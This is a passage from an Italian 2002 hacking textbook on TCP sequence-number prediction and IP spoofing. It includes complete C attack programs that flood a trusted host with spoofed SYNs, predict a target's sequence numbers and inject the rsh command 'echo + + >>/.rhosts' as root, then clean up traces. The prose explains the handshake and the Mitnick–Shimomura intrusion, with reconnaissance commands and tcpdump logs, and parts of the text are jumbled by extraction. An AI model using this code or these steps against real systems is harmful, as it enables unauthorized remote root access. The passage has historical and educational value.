seq_num[i]=start_seq++; sendtcppacket(s,src,dest,addr,TH_SYN,port_num[i],513,seq_num[i],0,NULL,0); } } void main(int argc, char *argv[]) { int rec, sen, i=1; unsigned char buf[4096]; struct sockaddr_in addr, trustedaddr, bogusaddr; char *bogusname = "19.17.14.17"; unsigned long dest, bogus, trusted, src, nseq, offset; struct hostent *host; unsigned long seq_num[80], port_num[80]; if (argc != 3) { fprintf(stderr,"Usage: %s trusted target\n",argv[0]); exit(1); } memset(&trustedaddr,0,sizeof(trustedaddr)); trustedaddr.sin_family = AF_INET; if ((trustedaddr.sin_addr.s_addr = inet_addr(argv[1])) == -1) { if ((host = gethostbyname(argv[1])) == NULL) { printf("Unknown host %s.\n",argv[1]); exit(1); } trustedaddr.sin_family = host->h_addrtype; memcpy((caddr_t) &trustedaddr.sin_addr,host->h_addr,host>h_length); } printf("Trusted is %s\n",inet_ntoa(trustedaddr.sin_addr.s_addr)); memcpy(&trusted,(char *)&trustedaddr.sin_addr.s_addr,4); memset(&addr,0,sizeof(addr)); addr.sin_family = AF_INET; if ((addr.sin_addr.s_addr = inet_addr(argv[2])) == -1) { if ((host = gethostbyname(argv[2])) == NULL) { printf("Unknown host %s.\n",argv[2]); exit(1); } addr.sin_family = host->h_addrtype; memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length); } printf("Target is %s\n",inet_ntoa(addr.sin_addr.s_addr)); memcpy(&dest,(char *)&addr.sin_addr.s_addr,4); if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { perror("error: recv socket"); exit(1); } if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("error: send socket"); exit(1); } #ifdef IP_HDRINCL fprintf(stderr,"IP_HDRINCL is set\n"); if (setsockopt(sen,IPPROTO_IP,IP_HDRINCL,(char *)&i,sizeof(i)) < 0) { perror("setsockopt IP_HDRINCL"); exit(1); }; #endif

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


gethostname(buf, 128); if ((host=gethostbyname(buf))==NULL) { fprintf(stderr, "Can't get my hostname!?\n"); exit(1); } memcpy(&src,host->h_addr,4); bogusaddr.sin_family = AF_INET; bogusaddr.sin_addr.s_addr = inet_addr(bogusname); memcpy(&bogus,(char *)&bogusaddr.sin_addr.s_addr,4); hose_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num); determine_sequence(sen, rec, src, dest, &addr, &nseq, &offset); printf("Next sequence number is: %u, offset is: %u\n", nseq, offset); spoof(sen,trusted,dest,&trustedaddr,nseq); reset_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num); }

Ogni computer connesso ad una rete TCP/IP durante una comunicazione allega al propio pacchetto l'indirizzo IP di comunicazione e un numero univoco chiamato numero di sequenza. L'hacker esegue l'attacco a previsione del numero di sequenza TCP/IP in due fasi. Nella prima fase l'hacker cerca di determinare l'indirizzo IP del server, generalmente mettendosi in ascolto dei pacchetti Internet, provando a specificare in ordine vari numeri di host oppure connetendosi al sito mediante un browser Web e osservando l'indirizzo IP nella barra di stato (attraverso il comando nslookup si pu avere la traduzione dagli indirizzi IP numerici a quelli a stringa e viceversa). Ad esempio, se un sistema ha l'indirizzo IP 192.0.0.15,l'hacker, sapendo che in una rete C vi possono essere fino a 256 computer, potr cercare di indovinare i loro indirizzi modificando unicamente l'ultimo byte. Dopo che l'hacker avr iniziato a trovare gli indirizzi della rete, inizier anche a controllare i numeri di sequenza dei pacchetti che si trasmettono tali computer. Dopo aver monitorizzato le trasmissioni della rete, l'hacker cercher di prevedere il prossimo numero di sequenza che verr generato dal server e quindi fornir un proprio pacchetto con tale numero di sequenza inserendosi fra il server e l'utente. Poich l'hacker ha gi l'indirizzo IP del server, pu in realt generare pacchetti con i numeri di sequenza corretti e indirizzi IP che gli consentono di intercettare le trasmissioni con l'utente. Dopo che l'hacker ha avuto accesso al sistema tramite questo attacco, pu accedere alle informazioni che il sistema di comunicazione trasmette al server,inclusi file di password,nomi di login,dati riservati ed ogni altra informazione trasmessa in rete. In genere questo attacco viene usato come base per l'attacco di un altro server della rete. Nel capitolo seguente vedremo questo attacco dal punto di vista pratico riportando quello che fu un attacco storico mediante questa metodologia. Dobbiamo stare attenti quando parliamo di cose storiche in quanto la realt dei nostri giorni potrebbe essere leggeremente differente e non solo leggermente. Questo protocollo viene usato per stabilire connessioni bidirezionali via rete, e per trasferire quantit di dati elevati attraverso anche a protocolli di livello applicazioni come telnet, http, ftp. TCP a differenza degli altri protocolli della suite come ICMP o UDP, stabilisce una connessione reale fra le parti che devono comunicare; una volta stabilita la connessione, vengono trasmessi dati che verranno successivamente confermati attraverso numeri di sequenza costruiti nel seguente modo: Nella fase iniziale della connessione (handshake) il client contatta il server e gli propone un suo numero di sequenza, il server risponde con un ack sul numero di sequenza appena ricevuto e propone un suo numero di sequenza iniziale, che verr successivamente confermato dal client:

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

Connessione TCP HANDSHAKE client server --| | SYN (SEQ= x) | | | | -------------------------> | | | | | | | | SYN (SEQ= y, ACK= x+1) | | | | <------------------------ | | | | | | | | SYN (SEQ= x+1, ACK= y+1) | | | | -------------------------> | | | | | | | | | | --Ricordiamoci che TCP un protocollo sliding windows, o in italiano a finestra rotante, come lo era, per quelli che si ricordano i vecchi BBS, un protocollo come Zmodem. Ogni pacchetto TCP contiene un numero di sequenza (primo byte) e un numero di acknowledgment (ultimo byte. Questo sistema dello sliding windows stato implementato per rendere il protocollo pi efficiente.

Il discorso dellefficienza legato a diversi fattori anche se quello pi importante dato dal fatto che i protocolli di questo tipo utilizzano la banda in un modo pi efficiente, dato che viene permessa la trasmissione di pi pacchetti prima che venga richiesto lacknowledgment. I numeri di sequenza successivi a quelli della connessione vengono costruiti in base ai byte ricevuti, ovvero se ho ricevuto 13 byte, il prossimo numero di sequenza sar la somma del numero di sequenza precedente pi il numero di byte ricevuti + 1 ( seq= seq_prec + 13 + 1 ). Abbiamo visto che il numero di sequenza iniziale contenuto nel primo pacchetto che ha attivo il flag SYN, che indica l'inizio di una connessione TCP; altri flag utilizzati nel protocollo TCP sono PUSH, che indica al protocollo TCP di inviare i dati immediatamente senza aspettare altri dati; abbiamo poi il flag RESET, che indica di resettare la connessione immdiatamente e infine il flag FIN che indica la fine della connessione.Inoltre bisogna tener conto che dopo un certo tempo che il messaggio viene spedito e non si ha riscontro, allora viene ritrasmesso, quindi ad ogni trasmissione viene associato un timer; inoltre quando una macchina riceve un pacchetto ritrasmette indietro un riscontro per l'avvenuta ricezione. Un altro sorgente indirizzato alindividuazione del numero di sequenza il seguente :
/* This source is subject to the GNU PUBLIC LICENSE. It can be used freely

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


* for any non-commercial purpose, and this message and the contact * information must remain intact. For commercial purposes, you MUST contact * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is * available from: ftp://aeneas.mit.edu/pub/gnu/ * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * Mike Neuman * En Garde Systems * 525 Clara Avenue, Suite 202 * St. Louis, MO 63112 * mcn@EnGarde.com */ #include #include #include #include #include #include #include #include #include #include #include #include #include <stdio.h> <setjmp.h> <signal.h> <sys/types.h> <sys/socket.h> <netinet/in_systm.h> <netinet/in.h> <net/if.h> <netinet/if_ether.h> <netinet/ip.h> <netinet/tcp.h> <errno.h> <netdb.h>

#include "ipbpf.h" /* Include ipbpf header */ #define BADHOST "16.17.18.19" /* The host to spoof flooding the trusted * host's destination port from. This host shouldn't exist, but should have * correct routing entries. The important part is so that returned packets * go to nowhere. */ #define NUMSEQUENCE 80 /* The number of connections to spoof from BADHOST. I made this big. * I've found 4.4BSD will be flooded with only 8 unacked connections. Your * mileage may vary */ #define NUMTESTS 10 /* How many samples of the sequence numbers do you want to take? * I randomly picked 10 and only take the last result. If I wanted to be * elegant, I'd do some sort of statistical average. Sequence numbers * are generally updated by a fixed number, this attempts to compute * this number taking into account average network lag. Fixed sequence * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and * probably others, although I haven't tested them. */ #define ROUTER "router.EnGarde.com" /* The name of your router to the outside world. Spoofed packets need to * be sent to it's ether/fddi address in order to get to the outside world. */ main(argc, argv) int argc; char *argv[]; {

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


struct u_long u_long u_long hostent *he; trust_addr, targ_addr; seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE]; next_seq, offset; if (argc!=3) { fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]); exit(1); } if ((he=gethostbyname(argv[1]))==NULL) { trust_addr=inet_addr(argv[1]); if (trust_addr==(u_long)-1) { fprintf(stderr, "Unknown host %s\n", argv[1]); exit(1); } } else bcopy(he->h_addr, &trust_addr, 4); if ((he=gethostbyname(argv[2]))==NULL) { targ_addr=inet_addr(argv[2]); if (targ_addr==(u_long)-1) { fprintf(stderr, "Unknown host %s\n", argv[2]); exit(1); } } else bcopy(he->h_addr, &targ_addr, 4); printf("Initializing Packet Filter\n"); use_best(); /* Use the best packet filter available on this system */ if (init_filter("tcp", NULL)) { /* Initialize the packet filter and read only TCP packets */ fprintf(stderr, "Can't init Packet Filter\n"); exit(1); } /* First, send NUMSEQUENCE connection requests from BADHOST to the * trusted host on a trusted port (currently 513). Trusted host will * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never * be a response ACK. Consequently, trusted host's connection queue will * fill and it will no longer respond to any packets to port 513. */ printf("[Hosing Trusted Host...]\n"); if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) { fprintf(stderr, "Couldn't hose %s\n", argv[1]); exit(1); } /* Next, do a sampling of the difference in sequence numbers. These packets * are NOT spoofed as receiving the reply is required. Consequently, this * host can appear in any packet traces. */ printf("[Determining sequence numbers...]\n"); if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) { fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]); exit(1); } printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset); /* Next, do the actual spoofed connection, now that we know what the next

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


* sequence number will be. */ printf("[Spoofing Connection...]\n"); if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) { fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]); exit(1); } /* Finally, reset all of the half started connections on trusted-host. * This will put trusted-host back into it's normal state (and hide * the traces that it was used for evil. */ printf("[Cleaning Up Trusted Mess...]\n"); if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) { fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]); exit(1); } /* fin */ exit(0); } hose_trusted(trust_host, trust_addr, seq_num, port_num) char *trust_host; u_long trust_addr; u_long seq_num[NUMSEQUENCE]; u_short port_num[NUMSEQUENCE]; { int i; u_long start_seq=49358353+getpid(); /* Make this anything you want */ u_long start_port=600; /* Make this anything you want */ struct ether_header eh; u_long bad_addr; /* First attempt to find the hardware address of the trusted host */ if (ether_hostton(trust_host, &eh.ether_dhost)) { /* If that fails, find the hardware address of the router */ if (ether_hostton(ROUTER, &eh.ether_dhost)) { fprintf(stderr, "Can't determine ether addr of trusted host or router.\n"); return(1); } } eh.ether_type=ETHERTYPE_IP; if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) { fprintf(stderr, "Can't convert BADHOST address.\n"); return(1); } /* Send a whole bunch of spoofed SYNs. Arguments sendtcppacket_simple * are: * sendtcppacket_simple( * struct ether_addr source_hardware_address, * struct ether_addr destination_hardware_address, * u_long source_ip_address, * u_long destination_ip_address, * u_short source_port, * u_short destination_port, * u_long sequence_number, * u_long acknowldegement_number, * int TCP flags (SYN, RST, ACK, PUSH, FIN), * char * data, * int datalen) */ for (i=0;i<NUMSEQUENCE;i++) { to

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


port_num[i]=start_port++; numbers */ seq_num[i]=start_seq++; /* for later reseting */ sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), bad_addr, trust_addr, port_num[i], 513, /* 513 is rlogin/rsh port */ seq_num, 0, TH_SYN, NULL, 0); } return(0); } jmp_buf env; void timedout() { longjmp(env, 1); } determine_sequence(targ_host, targ_addr, next_seq, offset) char *targ_host; u_long targ_addr, *next_seq, *offset; { struct hostent *he; struct ether_header eh, eh2; struct ip iph; struct tcphdr tcph; int i; u_long start_seq=4138353+getpid(); /* Make this anything you want */ u_long start_port=600; /* Make this anything you want */ u_long my_addr; char buf[80]; u_long prev_seq=0, diff=0; *offset=0; /* first attempt to get the destination's hardware address */ if (ether_hostton(targ_host, &eh.ether_dhost)) { /* If that fails, get the router's hardware address */ if (ether_hostton(ROUTER, &eh.ether_dhost)) { fprintf(stderr, "Can't determine ether addr of trusted host or router.\n"); return(1); } } eh.ether_type=ETHERTYPE_IP; gethostname(buf, 79); if ((he=gethostbyname(buf))==NULL) { fprintf(stderr, "Can't get my hostname!?\n"); return(1); } bcopy(he->h_addr, &my_addr, 4); for (i=0;i<NUMTESTS;i++) { /* Do a setjmp here for timeouts */ if (setjmp(env)) fprintf(stderr, "Response Timed out... Resending...\n"); signal(SIGALRM, timedout); alarm(0); alarm(10); /* Wait 10 seconds for reply */ sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), my_addr, targ_addr, start_port, 514, /* 514 is rsh port */ start_seq, 0, TH_SYN, NULL, 0); /* Send connection request packet */ for (;;) { /* record the ports and sequence

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* readpacket * are: * readpacket( * struct fddi_header fddi_header, * struct ether_header ether_header, * struct ip ip_header, * struct udphdr udp_header, * struct tcphdr tcp_header, * char * data, * int datalen) * * return type is the type of packet read */ while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)!= PTYPE_IP_TCP) ; if (ntohs(tcph.th_dport)==start_port && ntohs(tcph.th_sport)==514) { /* If the ports match, it's probably a reply--this isn't * definite, but it's a pretty good guess . * The following attempts to generate a reliable sequence. * Actually, it's pretty dumb. It tries 10 times, then takes * the last result. Generally, I've found this to work well * enough to warrant not writing anything smarter. */ if (prev_seq) { diff=tcph.th_seq-prev_seq; printf("(prev=%u, new=%u, diff=%u\n", prev_seq, tcph.th_seq, diff); } else diff=0; if (*offset==0) *offset=diff; else { if (*offset!=diff) printf("Difference old=%u, new=%u\n", *offset, diff); *offset=diff; } prev_seq=tcph.th_seq; sendtcppacket_simple( &(eh.ether_shost), &(eh.ether_dhost), my_addr, targ_addr, start_port++, 514, start_seq++, 0, TH_RST, NULL, 0); /* Send a reset to close the connection. Note, this * automatically will be sent by localhost unless * a service is listening on whatever port you've * chosen to start with at the top of this routine. * so I reset it anyway */ break; /* out of infinite for */ } } /* of infinite for */ Wait until the reply is received. Arguments for

in

Offset:

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


alarm(0); } /* for i=0 i<numtests... */ *next_seq=prev_seq+*offset; return(0); } spoof_connection(trust_addr, targ_host, targ_addr, next_seq) u_long trust_addr, targ_addr, next_seq; { struct ether_header eh; char buf[80]; struct hostent *he; u_long my_addr; u_short port=513; char *string="0\0root\0root\0echo + + >>/.rhosts\0"; int stringlen=32; u_long seq=385773357; int i; /* As before, get the target's hardware address */ if (ether_hostton(targ_host, &eh.ether_dhost)) { /* If that fails, get the router's hardware address */ if (ether_hostton(ROUTER, &eh.ether_dhost)) { fprintf(stderr, "Can't determine etheraddr of target host or router.\n"); return(1); } } eh.ether_type=ETHERTYPE_IP; /* Send a syn with our own sequence number */ sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq++, 0, TH_SYN, NULL, 0); usleep(5000); /* wait for the other side to SYN,ACK */ /* Send the ACK for the sequence number we guessed. I've found we guess * right about 90% of the time */ sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq, ++next_seq, TH_ACK, NULL, 0); /* Now, send our rsh request with the proper sequence and ACK nubmers */ sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq, next_seq, TH_ACK, string, stringlen); seq+=stringlen; sleep(1); /* Wait for it to be received, ACKd, and processed */ /* Send a fin with the our new sequence number and their sequence number */ sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq, next_seq, TH_FIN, NULL, 0); for (i=1;i<4;i++) { /* Send a bunch of ACKs */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* If we screwed up the guessing the correct sequence number the remote * host is using, guess a whole bunch more just to be sure. We could * probably reset the connection, but it's better to have the * net software hang waiting for a proper FIN/ACK than have the * application that we've spoofed into running exit because we * reset the connection. */ sleep(2); sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq+1, next_seq+i, TH_ACK, NULL, 0); } usleep(50000); /* Finally, send a RST */ /* Now, if we're really screwed, and ~8 seconds later we haven't guessed * the right sequence number, just reset the connection. Hopefully by now * the application has done it's job, so resetting shouldn't cause any * problems. */ sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port, 514, seq+1, next_seq+4, TH_RST, NULL, 0); return(0); } reset_trusted(trust_host, trust_addr, seq_num, port_num) u_long trust_addr; u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE]; { struct ether_header eh; u_long bad_addr; int i; if (ether_hostton(trust_host, &eh.ether_dhost)) { if (ether_hostton(ROUTER, &eh.ether_dhost)) { fprintf(stderr, "Can't determine ether addr of trusted host or router.\n"); return(1); } } eh.ether_type=ETHERTYPE_IP; if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) { fprintf(stderr, "Can't convert BADHOST address.\n"); return(1); } /* Reset all of the connections we started before */ for (i=0;i<NUMSEQUENCE;i++) { sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost), bad_addr, trust_addr, port_num[i], 513, seq_num[i], 0, TH_RST, NULL, 0); } return(0); }

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


La rappresentazione grafica dei tre pacchetti TCP necessari per instaurare una connessione la seguente : Pacchetto 1: Direzione: Client ---> Server Flag Attivi: SYN Sequence number: X (numero generato dal client) Pacchetto 2: Direzione: Server ---> Client Flag Attivi: SYN, ACK Sequence number: Y (numero generato dal server) Acknowledgement number: X + 1 Pacchetto 3: Direzione: Client ---> Server Flag Attivi: ACK Sequence number: X + 1 Acknowledgement number: Y + 1 Dopo questo breve scenario di background culturale sul TCP/IP, passiamo alla descrizione dell'attacco di Mitnick, allora innanzitutto

Un caso famoso di IP Spoofing


Questo attacco rappresenta la pi grave minaccia per i server connessi a Internet. Anche se presenta analogie con l'attacco al numero di sequenza, questo attacco ottiene l'accesso alla rete costringendo la rete ad accettare il suo indirizzo IP come se fosse un indirizzo fidato e dunque l'hacker non costretto a provare indirizzi IP per trovare quello giusto.L'idea dell'attacco che l'hacker acquisisce il controllo di un computer che si collega con la rete che rappresenta il suo obbiettivo. Poi disconnette il computer dalla rete e inganna il server sostituendosi a tale computer. Dopo che l'hacker si sostiuito al computer disconnesso, sostituisce l'indirizzo IP all'interno di ogni pacchetto con il propio indirizzo IP (della vittima)e altera i numeri di sequenza. Utilizzando l'IP sostituito, un hacker simula con il proprio computer l'indirizzo IP di un sistema fidato, dopo che l'hacker ha ingannato il computer di destinazione, utilizza un apposito numero di sequenza per diventare la nuova destinazione del server. Questo attacco permette di aggirare i sistemi di password monouso e pertanto pu compromettere un host dotato di elevati livelli di sicurezza, aggirando il sistema delle password l'hacker pu penetrare in un sistema operativo diverso dal propio. In questo capitolo vedremo di definire la natura di questa tipologia di attacco dando un occhiata a quello che stato lattacco remoto del mitico Kevin Mitnicks sui sistemi di Tsutomu Shimomuras. Questutlimo uno degli esperti di sicurezza di reti pi famosi come allo stesso modo Kevin sicuramente dallaltra parte il pi famoso hacker esistente anche per la pena esemplare a cui venne condannato proprio per le sue azioni dintrusione allinterno di sistemi informatici. Vengono utilizzati due differenti meccanismi e precisamente un IP source address spoofing e un sistema indirizzato alla predizione del numero di sequenza TCP. Dentro a questesempio sono inclusi dei logs che sono soltanto degli spezzoni dei risultati mostrati da TCPDUMP che Tsutomu aveva in funzione sui suoi sistemi. Infatti proprio grazie a questo riusc a ricostruire lattacco. Alcune informazioni sono state omesse per chiarezza al fine di non confondere le idee. La tecnica viene anche conosciuta con il termine di SYN flooding ovvero in pratica la manipolazione dei segnali scambiati dal protocollo nellambito di una fase atta a stabilire una connessione. Lattacco IP spoofing part alle 14:09:32 PST del 12/25/94 e fu indirizzato verso una stazione X-terminal costituita da una SPARC Station con Solaris come sistem operativo. La prima indagine part da una account con privilegio di root su un sistema di toad.com, dal quale proviene il seguente log. 14:09:32 toad.com# finger -l @target 14:10:21 toad.com# finger -l @server

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


14:10:50 14:11:07 14:11:38 14:11:49 14:12:05 toad.com# toad.com# toad.com# toad.com# toad.com# finger -l root@server finger -l @x-terminal showmount -e x-terminal rpcinfo -p x-terminal finger -l root@x-terminal

L scopo apparente di questa indagine era quello di determinare se esistevano delle relazioni trust allinterno dei sistemi che possano essere attaccati con un IP spoofing attack. Come abbiamo gi visto in altri capitoli le funzioni di fingeprinting eseguite su dei sistemi hanno come scopo quello di ritornare la maggior quantit possibile di informazioni su un account. Una funzione di finger eseguite come client emette una query verso un host utilizzando il protocollo finger per vedere se un utente loggato sul sistema. In altre parole, come abbiamo gi detto, la funzione di finger riporta lo username di un target, la data a dellultimo login, la directory home e tutte le altre informazioni legate allutente stesso. I comandi showmount e rpcinfo necessitano dei permessi di root per la loro attivazione sulla macchina attaccante. Ad esempio il comando showmount mostra se un sistema condivide delle directory utilizzando NFS: showmount e host

Se esistono directory condivise queste verranno listate:


/home host1 host2 host3 /usr host1 Questo esempio mostra quello che puo' risultare dall'esecuzione del comando showmount, ovvero una serie di directory (2 in questo case,home e usr) seguite dal nome degli host che possono accedere a queste risorse. Come si intuisce, queste directory possono essere montate solo dai sistemi elencati (host1,host2,host3). Ma se al posto di host1,host2,host3 ci fosse stato everyone, allora le due directory sarebbero state leggibili da chiunque... Per esempio: showmount e search.websitek.com /home everyone /home1 everyone /home2 everyone Se ad esempio vedessimo, come nel caso precedente, che il sistema esporta delle directory, potremmo usare queste per eseguire un mount con: mount search.websitek.com:/home /mnt Finger invia la query al server il quale processa loutput e termina la connessione. Loutput ricevuto dalla porta 79 riporta le informazioni dellutente. Il secondo comando mostrato nello stralcio di log showmount con lopzione e il quale normalmente utilizzato per mostrare come un file system NFS esporta il suo file systems. Il comando funziona anche da remoto su di una rete. Il comando rpcinfo con lopzione p una query relativa al portmap. Il daemon relativo a portmap converte il numero del programma RPC in una numero di porta. Circa sei minuti dopo iniziamo a vedere un flusso di TCP SYNs (le richieste iniziali di connessione) dal 130.92.6.97 verso la porta 513 (login) del server. Generalmente i segnali SYN sono destinati a comunicare a uno dei sistemi connessi lintenzione di richiedere linizio di una comunicazione. Lo scopo di questi SYNs accodati sulla porta 513 del server con una connessione half open quello di non permettere di rispondere ad eventuali nuove richieste di connessione.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


In altre parole si tratta di una tecnica DOS per portare il sistema vittima ad essere bloccato. Il concetto di half open sta nel fatto che lhandshake viene eseguito in modo tale che la connessione di fatto non sia mai completata. Un attaccante generalmente invia numerosi SYN per allacciarsi a delle risorse sul sistema di destinazione. Dopo aver ricevuto queste richieste di connessione, il server bersaglio alloca risorse per gestire e tracciare la nuova sessione di comunicazione e quindi risponde con dei SYN-ACK. In questo caso la risposta inviata ad un indirizzo spoofed e quindi non esistente. Questo significa che questo IP non risponder a nessuna richiesta di nuova connessione. In particolar modo, questo non generer TCP RSTs in risposta a SYN-ACKs non attesi. Allo stesso modo per cui la porta 513 una porta privilegiata, server.login pu essere tranquillamente utilizzata come sorgente per un attacco di address spoofing su un "rservices" di UNIX (rsh, rlogin). Lindirizzo 130.92.6.97 un indirizzo casuale (forged) (uno di quelli che non generano nessuna risposta ai pacchetti inviategli):
14:18:22.516699 14:18:22.566069 14:18:22.744477 14:18:22.830111 14:18:22.886128 14:18:22.943514 14:18:23.002715 14:18:23.103275 14:18:23.162781 14:18:23.225384 14:18:23.282625 14:18:23.342657 14:18:23.403083 14:18:23.903700 14:18:24.003252 14:18:24.084827 14:18:24.142774 14:18:24.203195 14:18:24.294773 14:18:24.382841 14:18:24.443309 14:18:24.643249 14:18:24.906546 14:18:24.963768 14:18:25.022853 14:18:25.153536 14:18:25.400869 14:18:25.483127 14:18:25.599582 14:18:25.653131 130.92.6.97.600 130.92.6.97.601 130.92.6.97.602 130.92.6.97.603 130.92.6.97.604 130.92.6.97.605 130.92.6.97.606 130.92.6.97.607 130.92.6.97.608 130.92.6.97.609 130.92.6.97.610 130.92.6.97.611 130.92.6.97.612 130.92.6.97.613 130.92.6.97.614 130.92.6.97.615 130.92.6.97.616 130.92.6.97.617 130.92.6.97.618 130.92.6.97.619 130.92.6.97.620 130.92.6.97.621 130.92.6.97.622 130.92.6.97.623 130.92.6.97.624 130.92.6.97.625 130.92.6.97.626 130.92.6.97.627 130.92.6.97.628 130.92.6.97.629 > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S 1382726960:1382726960(0) 1382726961:1382726961(0) 1382726962:1382726962(0) 1382726963:1382726963(0) 1382726964:1382726964(0) 1382726965:1382726965(0) 1382726966:1382726966(0) 1382726967:1382726967(0) 1382726968:1382726968(0) 1382726969:1382726969(0) 1382726970:1382726970(0) 1382726971:1382726971(0) 1382726972:1382726972(0) 1382726973:1382726973(0) 1382726974:1382726974(0) 1382726975:1382726975(0) 1382726976:1382726976(0) 1382726977:1382726977(0) 1382726978:1382726978(0) 1382726979:1382726979(0) 1382726980:1382726980(0) 1382726981:1382726981(0) 1382726982:1382726982(0) 1382726983:1382726983(0) 1382726984:1382726984(0) 1382726985:1382726985(0) 1382726986:1382726986(0) 1382726987:1382726987(0) 1382726988:1382726988(0) 1382726989:1382726989(0) win win win win win win win win win win win win win win win win win win win win win win win win win win win win win win 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096

Nel caso di quellattacco Tsutomu identific 20 tentativi di connessione provenienti da apollo.it.luc.edu diretti al x-terminal.shell. Lo scopo di questi tentativi era quello di determinare il comportamento del generatore di sequenza TCP relativa a x-terminal's. Dopo aver tentato per 20 volte di connettersi lattaccante registra i pacchetti che riceve indietro. Notate che il numero iniziale incrementa di un unit ad ogni connessione, il che denota che i pacchetti SYN non vengono generati dallimplementazione TCP del sistema. Notate anche che I pacchetti SYN-ACK del X-terminal possiedono un analogo incremento:
14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096 14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096 14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0 14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096 14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096 14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: win 0 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: win 4096 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: ack 1382726993 win 4096 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: win 0 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: win 4096 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: ack 1382726994 win 4096 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: win 0 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: win 4096 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: ack 1382726995 win 4096 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: win 0 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: win 4096 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: ack 1382726996 win 4096 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: win 0 14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: win 4096 14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: ack 1382726997 win 4096 14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: win 0 14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: win 0 14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: win 4096 14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: ack 1382726998 win 4096 